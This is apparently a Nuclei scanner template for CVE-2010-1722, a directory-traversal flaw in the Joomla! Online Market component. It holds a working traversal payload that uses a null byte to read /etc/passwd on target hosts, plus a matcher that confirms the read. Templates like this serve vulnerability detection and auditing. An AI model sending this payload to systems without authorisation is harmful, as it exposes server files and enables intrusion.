id: CVE-2010-1722

info:
  name: Joomla! Component Online Market 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Online Market (com_market) component 2.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the LFI vulnerability in the Online Market 2.x component.
  reference:
    - https://www.exploit-db.com/exploits/12177
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1722
    - http://www.exploit-db.com/exploits/12177
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57674
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1722
    cwe-id: CWE-22
    epss-score: 0.00983
    epss-percentile: 0.77048
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_market:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_market
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ff36f106697c470afb2dcd9a5170f256ce6d97d0395943a18852ca6025fe02d3022100960fec97b435debc38cc89bc5555bb0e7b10aaf50c0303a8ffe7728da0cd311c:922c64590222798bb761d5b6d8e72950